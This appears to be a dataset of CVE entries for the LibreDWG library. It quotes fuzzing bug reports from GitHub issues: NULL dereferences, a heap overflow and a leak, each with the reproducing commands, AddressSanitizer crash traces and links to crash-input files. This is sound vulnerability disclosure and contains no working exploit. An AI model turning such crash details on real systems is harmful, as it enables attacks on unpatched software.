#0 0x7ffff4cf2b1a in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1902
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1902 in dxfb_tables_write
==17991==ABORTING
➜ ./dwg2dxf -o ./fuzz_out -b -y ./poc2
Reading DWG file ./poc2
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: obj_string_stream overflow, bitsize 4294965675 => 88
ERROR: Invalid EED size 8770 > 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_advance_position buffer overflow at pos 10.7, size 11, advance by 2
ERROR: bit_read_BB buffer overflow at 11 >= 11
ERROR: bit_read_BD buffer overflow at 11 >= 11
ERROR: bit_read_B buffer overflow at 11 >= 11
ERROR: bit_read_BB buffer overflow at 11 >= 11
ERROR: bit_read_BD buffer overflow at 11 >= 11
ERROR: bit_read_RC buffer overflow at 11 >= 11
ERROR: bit_read_RD buffer overflow at 11 >= 11
ERROR: Invalid RD oblique_angle
Warning: check_CRC mismatch 39-54 = 15: C16F <=> 0D90
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Warning: Object handle not found, 3/3 in 150 objects
Warning: Object handle not found, 3/3 in 150 objects
Warning: Object handle not found, 3/3 in 150 objects
Writing DXF file ./fuzz_out
ERROR: Unhandled VALUE_INT code 0
ASAN:DEADLYSIGNAL
=================================================================
==18068==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf4e7f bp 0x7fffffffc9e0 sp 0x7fffffff8470 T0)
==18068==The signal is caused by a READ memory access.
==18068==Hint: address points to the zero page.
#0 0x7ffff4cf4e7e in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1924
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1924 in dxfb_tables_write
==18068==ABORTING
➜ ./dwg2dxf -o ./fuzz_out -b -y poc3
Reading DWG file poc3
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: Invalid preview size 18496. Need min. 18496 bits for TF, have 76 for RAY.
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_BD buffer overflow at 13 >= 13
ERROR: bit_read_BB buffer overflow at 13 >= 13
ERROR: bit_read_BD buffer overflow at 13 >= 13
ERROR: bit_read_BB buffer overflow at 13 >= 13
ERROR: bit_read_BD buffer overflow at 13 >= 13
ERROR: Invalid 3BD vector
Warning: check_CRC mismatch 55-71 = 16: 1ECF <=> 9AC1
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Writing DXF file ./fuzz_out
ASAN:DEADLYSIGNAL
=================================================================
==18124==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf068d bp 0x7fffffffc9e0 sp 0x7fffffff8470 T0)
==18124==The signal is caused by a READ memory access.
==18124==Hint: address points to the zero page.
#0 0x7ffff4cf068c in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1872
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1872 in dxfb_tables_write
==18124==ABORTING
➜ ./dwg2dxf -o ./fuzz_out -b -y --as r12 poc4
Reading DWG file poc4
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_BD buffer overflow at 6 >= 6
ERROR: bit_read_BB buffer overflow at 6 >= | === https://github.com/LibreDWG/libredwg/issues/324 ===
Title: Four NULL dereference in out_dxfb.c
---
Body:
I found four NULL dereference bugs in the current master (5d2c75f).
# Configure
CFLAGS="-g -fsanitize=address" LDFLAGS="-fsanitize=address" ./configure
# bug 1 in out_dxfb.c:1902
## Command
`./dwg2dxf -o ./fuzz_out -b -y ./poc1`
## ASAN report
```
➜ ./dwg2dxf -o ./fuzz_out -b -y ./poc1
Reading DWG file ./poc1
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: obj_string_stream overflow, bitsize 96 => 96
ERROR: Invalid object handle 10.1.1 at pos @4.2
ERROR: bit_read_RC buffer overflow at 12
ERROR: bit_read_RC buffer overflow at 12
ERROR: bit_read_RC buffer overflow at 12
ERROR: bit_read_RC buffer overflow at 12 >= 12
ERROR: bit_read_BL: unexpected 2-bit code: '11'
ERROR: bit_read_RC buffer overflow at 12
ERROR: Invalid CMC method 0x0 ignored
ERROR: bit_advance_position buffer overflow at pos 11.7, size 12, advance by 2
ERROR: bit_read_BD buffer overflow at 12 >= 12
ERROR: Invalid BD identifier_height
Warning: check_CRC mismatch 22-38 = 16: 401C <=> 0B9D
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Warning: Object handle not found, 2/2 in 150 objects
Warning: Object handle not found, 2/2 in 150 objects
Warning: Object handle not found, 2/2 in 150 objects
Writing DXF file ./fuzz_out as r14
ASAN:DEADLYSIGNAL
=================================================================
==17991==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf2b1b bp 0x7fffffffc9c0 sp 0x7fffffff8450 T0)
==17991==The signal is caused by a READ memory access.
==17991==Hint: address points to the zero page.
#0 0x7ffff4cf2b1a in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1902
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1902 in dxfb_tables_write
==17991==ABORTING
```
# bug 2 in out_dxfb.c:1924
## Command
`./dwg2dxf -o ./fuzz_out -b -y ./poc2`
## ASAN report
```
➜ ./dwg2dxf -o ./fuzz_out -b -y ./poc2
Reading DWG file ./poc2
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: obj_string_stream overflow, bitsize 4294965675 => 88
ERROR: Invalid EED size 8770 > 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_read_RC buffer overflow at 11
ERROR: bit_advance_position buffer overflow at pos 10.7, size 11, advance by 2
ERROR: bit_read_BB buffer overflow at 11 >= 11
ERROR: bit_read_BD buffer overflow at 11 >= 11
ERROR: bit_read_B buffer overflow at 11 >= 11
ERROR: bit_read_BB buffer overflow at 11 >= 11
ERROR: bit_read_BD buffer overflow at 11 >= 11
ERROR: bit_read_RC buffer overflow at 11 >= 11
ERROR: bit_read_RD buffer overflow at 11 >= 11
ERROR: Invalid RD oblique_angle
Warning: check_CRC mismatch 39-54 = 15: C16F <=> 0D90
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Warning: Object handle not found, 3/3 in 150 objects
Warning: Object handle not found, 3/3 in 150 objects
Warning: Object handle not found, 3/3 in 150 objects
Writing DXF file ./fuzz_out
ERROR: Unhandled VALUE_INT code 0
ASAN:DEADLYSIGNAL
=================================================================
==18068==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf4e7f bp 0x7fffffffc9e0 sp 0x7fffffff8470 T0)
==18068==The signal is caused by a READ memory access.
==18068==Hint: address points to the zero page.
#0 0x7ffff4cf4e7e in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1924
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1924 in dxfb_tables_write
==18068==ABORTING
```
# bug 3 in out_dxfb.c:1872
## Command
`./dwg2dxf -o ./fuzz_out -b -y poc3`
## ASAN report
```
➜ ./dwg2dxf -o ./fuzz_out -b -y poc3
Reading DWG file poc3
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: Invalid preview size 18496. Need min. 18496 bits for TF, have 76 for RAY.
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_RC buffer overflow at 13
ERROR: bit_read_BD buffer overflow at 13 >= 13
ERROR: bit_read_BB buffer overflow at 13 >= 13
ERROR: bit_read_BD buffer overflow at 13 >= 13
ERROR: bit_read_BB buffer overflow at 13 >= 13
ERROR: bit_read_BD buffer overflow at 13 >= 13
ERROR: Invalid 3BD vector
Warning: check_CRC mismatch 55-71 = 16: 1ECF <=> 9AC1
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Writing DXF file ./fuzz_out
ASAN:DEADLYSIGNAL
=================================================================
==18124==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf068d bp 0x7fffffffc9e0 sp 0x7fffffff8470 T0)
==18124==The signal is caused by a READ memory access.
==18124==Hint: address points to the zero page.
#0 0x7ffff4cf068c in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1872
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1872 in dxfb_tables_write
==18124==ABORTING
```
# bug 4 in out_dxfb.c:1944
## Command
`./dwg2dxf -o ./fuzz_out -b -y --as r12 poc4`
## ASAN report
```
➜ ./dwg2dxf -o ./fuzz_out -b -y --as r12 poc4
Reading DWG file poc4
Warning: checksum: 0x27c51243 (calculated) mismatch
ERROR: Skip section AcDb:FileDepList with size 8 > 0 * 128
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_RC buffer overflow at 6
ERROR: bit_read_BD buffer overflow at 6 >= 6
ERROR: bit_read_BB buffer overflow at 6 >= 6
ERROR: bit_read_BD buffer overflow at 6 >= 6
ERROR: bit_read_BB buffer overflow at 6 >= 6
ERROR: bit_read_BD buffer overflow at 6 >= 6
ERROR: Invalid 3BD view_target
Warning: check_CRC mismatch 73-82 = 9: 89F5 <=> 46F4
Warning: Unstable Class object 502 TABLESTYLE (0xfff) 42/0
Warning: TODO TABLESTYLE r2010+ missing fields
Warning: Unstable Class object 503 MATERIAL (0x481) 45/0
Warning: Unstable Class object 503 MATERIAL (0x481) 46/0
Warning: Unstable Class object 503 MATERIAL (0x481) 47/0
Warning: Ignore invalid handleoff (@390)
ERROR: bit_read_RC buffer overflow at 174
ERROR: bit_read_RC buffer overflow at 171
ERROR: bit_read_RC buffer overflow at 973
ERROR: bit_read_RC buffer overflow at 284
ERROR: bit_read_RC buffer overflow at 284
ERROR: Some section size or address out of bounds
ERROR: Failed to read uncompressed Preview section
Warning: Skip empty section 0 AcDb:Template
ERROR: Template section not found
ERROR: Invalid num_segidx
Writing DXF file ./fuzz_out as r12
ERROR: Unhandled VALUE_INT code 7
ASAN:DEADLYSIGNAL
=================================================================
==18183==ERROR: AddressSanitizer: SEGV on unknown address 0x000000000038 (pc 0x7ffff4cf71e3 bp 0x7fffffffc9c0 sp 0x7fffffff8450 T0)
==18183==The signal is caused by a READ memory access.
==18183==Hint: address points to the zero page.
#0 0x7ffff4cf71e2 in dxfb_tables_write /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1944
#1 0x7ffff4d06d16 in dwg_write_dxfb /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:2312
#2 0x5555555589a1 in main /home/yuan/afl-target/libredwg-asan/programs/dwg2dxf.c:336
#3 0x7ffff1e6bbf6 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21bf6)
#4 0x555555556a89 in _start (/home/yuan/afl-target/libredwg-asan/programs/.libs/dwg2dxf+0x2a89)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV /home/yuan/afl-target/libredwg-asan/src/out_dxfb.c:1944 in dxfb_tables_write
==18183==ABORTING
```
# All poc
[poc.zip](https://github.com/LibreDWG/libredwg/files/6074852/poc.zip)
---
Comment #1 by rurban:
`--as r14` is not needed | https://nvd.nist.gov/vuln/detail/CVE-2021-28236 | ||||
libredwg.cve-2020-21834 | A null pointer deference issue exists in GNU LibreDWG 0.10 via get_bmp ../../programs/dwgbmp.c:164. | https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492468 | https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492468 | CWE-476 | LibreDWG/libredwg | https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492468 | === https://github.com/LibreDWG/libredwg/issues/188#issuecomment-574492468 ===
Title: Several bugs found by fuzzing
---
Body:
Hi,
After fuzzing libredwg, I found the following bugs on the latest commit on master.
Command: ./dwgbmp $PoC
**1.NULL pointer dereference in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000012%2Csig:06%2Csrc:002489%2Cop:havoc%2Crep:16
```
=================================================================
==20486==ERROR: AddressSanitizer: SEGV on unknown address 0x62904165558b (pc 0x7fa1bce115c5 bp 0x7fff8e06b350 sp 0x7fff8e06aab8 T0)
==20486==The signal is caused by a READ memory access.
#0 0x7fa1bce115c4 (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
#1 0x7fa1bd55e6ce (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x796ce)
#2 0x5634364fc7b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#3 0x5634364fc7b6 in read_2004_compressed_section ../../src/decode.c:2417
#4 0x563436ac5dd2 in read_2004_section_summary ../../src/decode.c:2785
#5 0x563436ac5dd2 in decode_R2004 ../../src/decode.c:3352
#6 0x563436ad208d in dwg_decode ../../src/decode.c:246
#7 0x563436464fae in dwg_read_file ../../src/dwg.c:211
#8 0x5634364639d0 in get_bmp ../../programs/dwgbmp.c:111
#9 0x563436463066 in main ../../programs/dwgbmp.c:280
#10 0x7fa1bcd77b96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#11 0x5634364636c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb5c4)
```
---
Comment #1 by linhlhq:
**2.NULL pointer dereference n get_bmp ../../programs/dwgbmp.c:164**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000203%2Csig:06%2Csrc:007151%2B000917%2Cop:splice%2Crep:64
```
=================================================================
==31948==ERROR: AddressSanitizer: SEGV on unknown address 0x62c097cf2538 (pc 0x7f0721de463e bp 0x0000e1e1e1e1 sp 0x7ffe6d2c5ea8 T0)
==31948==The signal is caused by a READ memory access.
#0 0x7f0721de463d (/lib/x86_64-linux-gnu/libc.so.6+0xbb63d)
#1 0x7f0721db4993 in _IO_file_xsputn (/lib/x86_64-linux-gnu/libc.so.6+0x8b993)
#2 0x7f0721da8976 in _IO_fwrite (/lib/x86_64-linux-gnu/libc.so.6+0x7f976)
#3 0x555a28f91ee4 in get_bmp ../../programs/dwgbmp.c:164
#4 0x555a28f91066 in main ../../programs/dwgbmp.c:280
#5 0x7f0721d4ab96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#6 0x555a28f916c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
AddressSanitizer can not provide additional info.
SUMMARY: AddressSanitizer: SEGV (/lib/x86_64-linux-gnu/libc.so.6+0xbb63d)
```
---
Comment #2 by linhlhq:
**3.heap-buffer-overflow in read_2004_compressed_section ../../src/decode.c:2417**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000046%2Csig:06%2Csrc:005438%2B002843%2Cop:splice%2Crep:2
```
=================================================================
==2469==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x62c0000070c0 at pc 0x7f300b076733 bp 0x7ffe0bc1be00 sp 0x7ffe0bc1b5a8
READ of size 33554560 at 0x62c0000070c0 thread T0
#0 0x7f300b076732 (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
#1 0x55cdec4b77b6 in memcpy /usr/include/x86_64-linux-gnu/bits/string_fortified.h:34
#2 0x55cdec4b77b6 in read_2004_compressed_section ../../src/decode.c:2417
#3 0x55cdeca7ea88 in read_2004_section_filedeplist ../../src/decode.c:2888
#4 0x55cdeca7ea88 in decode_R2004 ../../src/decode.c:3361
#5 0x55cdeca8d08d in dwg_decode ../../src/decode.c:246
#6 0x55cdec41ffae in dwg_read_file ../../src/dwg.c:211
#7 0x55cdec41e9d0 in get_bmp ../../programs/dwgbmp.c:111
#8 0x55cdec41e066 in main ../../programs/dwgbmp.c:280
#9 0x7f300a88fb96 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x21b96)
#10 0x55cdec41e6c9 in _start (/home/user/linhlhq/libredwg/asan_build/programs/dwgbmp+0x28f6c9)
0x62c0000070c0 is located 0 bytes to the right of 28352-byte region [0x62c000000200,0x62c0000070c0)
allocated by thread T0 here:
#0 0x7f300b0dbd38 in __interceptor_calloc (/usr/lib/x86_64-linux-gnu/libasan.so.4+0xded38)
#1 0x55cdec41ff41 in dat_read_file ../../src/dwg.c:74
#2 0x55cdec41ff41 in dwg_read_file ../../src/dwg.c:204
SUMMARY: AddressSanitizer: heap-buffer-overflow (/usr/lib/x86_64-linux-gnu/libasan.so.4+0x79732)
Shadow bytes around the buggy address:
0x0c587fff8dc0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8dd0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8de0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8df0: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
0x0c587fff8e00: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
=>0x0c587fff8e10: 00 00 00 00 00 00 00 00[fa]fa fa fa fa fa fa fa
0x0c587fff8e20: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e30: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e40: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e50: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
0x0c587fff8e60: fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa fa
Shadow byte legend (one shadow byte represents 8 application bytes):
Addressable: 00
Partially addressable: 01 02 03 04 05 06 07
Heap left redzone: fa
Freed heap region: fd
Stack left redzone: f1
Stack mid redzone: f2
Stack right redzone: f3
Stack after return: f5
Stack use after scope: f8
Global redzone: f9
Global init order: f6
Poisoned by user: f7
Container overflow: fc
Array cookie: ac
Intra object redzone: bb
ASan internal: fe
Left alloca redzone: ca
Right alloca redzone: cb
==2469==ABORTING
```
---
Comment #3 by linhlhq:
**4.Memory leaks in dwg_decode_eed ../../src/decode.c:3638**
POC: https://github.com/linhlhq/research/blob/master/PoCs/libreDWG_4c26d37/id:000171%2Csig:06%2Csrc:004378%2B003724%2Cop:splice%2Crep:2
```
=================================================================
==6139==ERROR: LeakSanitizer: detected memory leaks
Direct leak of 80 byte(s) in 2 object(s) allocated from:
